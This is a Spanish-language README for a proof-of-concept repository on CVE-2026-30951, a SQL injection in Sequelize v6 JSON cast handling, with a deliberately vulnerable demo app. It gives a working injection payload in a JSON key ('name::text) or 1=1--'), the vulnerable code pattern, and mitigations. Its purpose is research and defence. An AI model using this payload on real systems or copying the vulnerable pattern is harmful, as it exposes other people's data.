
Inyección SQL de JSON Cast en Sequelize
★ CVE-2026-30951 PoC de Inyección SQL en el ORM Sequelize ★
https://github.com/user-attachments/assets/30b19211-890a-4780-acd9-04856ec98381
CVE-2026-30951 es una vulnerabilidad de Inyección SQL en Sequelize v6, un ORM de Node.js ampliamente utilizado.
La vulnerabilidad existe en el procesamiento de cláusulas
wherede JSON/JSONB. Cuando Sequelize analiza una clave de ruta JSON que contiene::, el valor después de::se trata como un tipo de cast SQL y se inserta en el SQL generado sin la validación adecuada.Si un atacante puede controlar las claves de objetos JSON pasadas a una cláusula
wherede Sequelize, puede manipular la consulta SQL generada.
| Categoría | Versión |
|---|
| Vulnerable | Sequelize v6.x <= 6.37.7 |
| Parcheada | Sequelize 6.37.8 |
| No afectada | Sequelize v7 / @sequelize/core |
Este repositorio contiene una aplicación de desafío mínima vulnerable con Node.js, Express, Sequelize y SQLite.
npm install
npm start
La aplicación se inicia en:
http://127.0.0.1:9100
docker build -t cve-2026-30951-sequelize-vuln .
docker run --rm -it -p 9100:9100 --name sequelize-vuln cve-2026-30951-sequelize-vuln
El contenedor Docker se inicia en:
http://127.0.0.1:9100
Después de iniciar el entorno vulnerable, siga los pasos a continuación para reproducir la inyección.
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name": "emma"
}
}
Esto devuelve solo los usuarios que coinciden con la lógica de búsqueda normal por nombre.
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name::text) or 1=1--": "emma"
}
}
Resultado esperado:
All user rows are returned.
La clave JSON manipulada hace que Sequelize genere una expresión de cast similar a:
CAST(json_extract(`User`.`metadata`, '$.name') AS TEXT) OR 1=1--)
Debido a que el tipo de cast es controlado por el atacante, la condición OR 1=1 cambia el comportamiento previsto de la cláusula WHERE. Devolver todas las filas desde el mismo endpoint de búsqueda confirma que la inyección SQL es posible.
La vulnerabilidad es causada por una validación insuficiente de los tipos de cast JSON en Sequelize v6.
Internamente, la lógica de recorrido JSON de Sequelize divide las claves de ruta JSON en :::
jsonKey::castType
El tipo de cast se utiliza luego en el SQL generado de la siguiente manera:
CAST(<json_extract_expression> AS <cast_type>)
En las versiones vulnerables, <cast_type> no se escapa de forma segura ni se restringe a una lista de permitidos conocida como segura. Esto permite que una clave JSON controlada por el atacante escape de la expresión de cast e inyecte SQL.
Cualquier patrón de aplicación similar al siguiente puede ser vulnerable al usar versiones afectadas de Sequelize:
app.post('/api/users/search', async (req, res) => {
const users = await User.findAll({
where: {
metadata: req.body.filter
}
});
res.json(users);
});
Esto es peligroso porque el atacante controla no solo los valores JSON, sino también las claves de los objetos JSON.
Esta vulnerabilidad es especialmente peligrosa porque muchos desarrolladores asumen que los constructores de consultas ORM protegen automáticamente contra la inyección SQL. En este caso, la inyección ocurre dentro del SQL generado por el ORM, después de que la aplicación ya ha pasado objetos JavaScript estructurados a Sequelize.
Dependiendo de la lógica de la aplicación, la explotación puede permitir:
Esto es fundamentalmente un problema de CWE-89: Neutralización incorrecta de elementos especiales utilizados en un comando SQL.
+-------------------------------------------+
| Attacker |
+-------------------------------------------+
|
| Sends crafted JSON filter
| with malicious name:: key
v
+-------------------------------------------+
| POST /api/users/search |
+-------------------------------------------+
|
| Sequelize JSON where clause
| processes key containing ::
v
+-------------------------------------------+
| Unescaped SQL cast type injection |
+-------------------------------------------+
|
| Boolean condition manipulation
v
+-------------------------------------------+
| SQL Injection Confirmed |
+-------------------------------------------+
where de JSON/JSONB de Sequelize:: a menos que se requieran explícitamenteconst allowedFilters = ['name', 'role', 'team', 'office', 'department'];
if (!allowedFilters.includes(req.body.field)) {
throw new Error('Invalid filter field');
}
Este repositorio está destinado únicamente a la investigación de seguridad, la validación defensiva y el uso educativo en entornos controlados.
No utilice este PoC contra sistemas que no posea o para los que no tenga permiso explícito de prueba.
Publicamos análisis de CVE y malware una vez al mes. Si está interesado, siga los enlaces a continuación para consultar nuestras publicaciones.